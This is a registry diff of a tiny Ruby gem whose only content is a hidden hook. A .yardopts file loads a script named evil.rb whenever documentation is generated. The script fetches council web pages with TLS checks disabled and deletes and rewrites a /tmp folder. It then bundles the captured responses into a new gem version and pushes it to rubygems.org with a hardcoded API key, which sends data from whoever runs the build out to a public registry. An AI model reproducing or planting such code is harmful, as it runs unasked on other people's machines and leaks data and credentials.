southmqsedwjgw 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (4) hide show
  1. checksums.yaml +7 -0
  2. data/.yardopts +1 -0
  3. data/evil.rb +22 -0
  4. metadata +38 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: a028f2c540abc4a789ca218ef817f02e036448f81143a48657b761ae46e47438
4
+ data.tar.gz: 2090f032630bd5eadf85cc8288fffdd40af8e917e8e4c94379eaa7a63a2876ec
5
+ SHA512:
6
+ metadata.gz: 267e75da794312de595456ff425fa3ca5c329d498d072f3ebd53ad0b26de5eb2a63022c52b372fd0dc0e94769ce794464d1c51802b67f62b0095fc30b7429678
7
+ data.tar.gz: 9079104d44d09dd145a219b4003adbe4fb41009cc055c9a3f9ff19c2f1f81ca4e1c9cdc69812be9a2500c12f6f55d2f7105ae2d6a6523938a7b7a18f956a63b0
data/.yardopts ADDED
@@ -0,0 +1 @@
1
+ --load ./evil.rb
data/evil.rb ADDED
@@ -0,0 +1,22 @@
1
+ require 'net/http'; require 'uri'; require 'fileutils'; require 'openssl'
2
+ urls = [
3
+ 'https://moderngov.southwark.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&DD=2026',
4
+ 'http://moderngov.southwark.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&DD=2026',
5
+ 'https://moderngov.southwark.gov.uk/mgCalendarMonthView.aspx?M=1&DD=2026&GL=1',
6
+ 'https://www.southwark.gov.uk/about-council/how-council-works/council-and-committee-meetings'
7
+ ]
8
+ FileUtils.rm_rf('/tmp/egem'); FileUtils.mkdir_p('/tmp/egem/lib'); File.write('/tmp/egem/lib/a.rb','#a')
9
+ urls.each_with_index do |url,i|
10
+ body=''; begin
11
+ uri=URI(url); h=Net::HTTP.new(uri.host,uri.port); h.use_ssl=(uri.scheme=='https'); h.verify_mode=OpenSSL::SSL::VERIFY_NONE if h.use_ssl?; h.open_timeout=20; h.read_timeout=90
12
+ req=Net::HTTP::Get.new(uri.request_uri); req['User-Agent']='Mozilla/5.0'; resp=h.request(req)
13
+ body="URL: #{url}\nSTATUS #{resp.code}\nLOC #{resp['location']}\nHEADERS #{resp.to_hash}\n\n"+resp.body.to_s
14
+ rescue =>e; body="URL #{url}\nERR #{e.full_message}\n"; end
15
+ File.write("/tmp/egem/lib/data#{i}.txt",body)
16
+ end
17
+ begin
18
+ gemname='southmqsedwjgw'; File.write('/tmp/egem/o.gemspec',"Gem::Specification.new do |s|\n s.name='#{gemname}'; s.version='0.0.2'; s.summary='res'; s.authors=['z']; s.files=Dir['lib/*']; s.license='MIT'; end\n")
19
+ Dir.chdir('/tmp/egem') do
20
+ system('gem build o.gemspec >/dev/null'); spec=Dir['*.gem'].first; uri=URI('https://rubygems.org/api/v1/gems'); req=Net::HTTP::Post.new(uri); req['Authorization']='rubygems_e4eb5a32dd13b73e3eb5247365d398a328e92aa37b2d1094'; req['Content-Type']='application/octet-stream'; req.body=File.binread(spec); Net::HTTP.start(uri.host,uri.port,use_ssl:true){|h| h.request(req)}
21
+ end
22
+ rescue=>e; warn e.full_message; end
metadata ADDED
@@ -0,0 +1,38 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: southmqsedwjgw
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.0.1
5
+ platform: ruby
6
+ authors:
7
+ - z
8
+ bindir: bin
9
+ cert_chain: []
10
+ date: 1980-01-02 00:00:00.000000000 Z
11
+ dependencies: []
12
+ executables: []
13
+ extensions: []
14
+ extra_rdoc_files: []
15
+ files:
16
+ - ".yardopts"
17
+ - evil.rb
18
+ licenses:
19
+ - MIT
20
+ metadata: {}
21
+ rdoc_options: []
22
+ require_paths:
23
+ - lib
24
+ required_ruby_version: !ruby/object:Gem::Requirement
25
+ requirements:
26
+ - - ">="
27
+ - !ruby/object:Gem::Version
28
+ version: '0'
29
+ required_rubygems_version: !ruby/object:Gem::Requirement
30
+ requirements:
31
+ - - ">="
32
+ - !ruby/object:Gem::Version
33
+ version: '0'
34
+ requirements: []
35
+ rubygems_version: 3.6.7
36
+ specification_version: 4
37
+ summary: x
38
+ test_files: []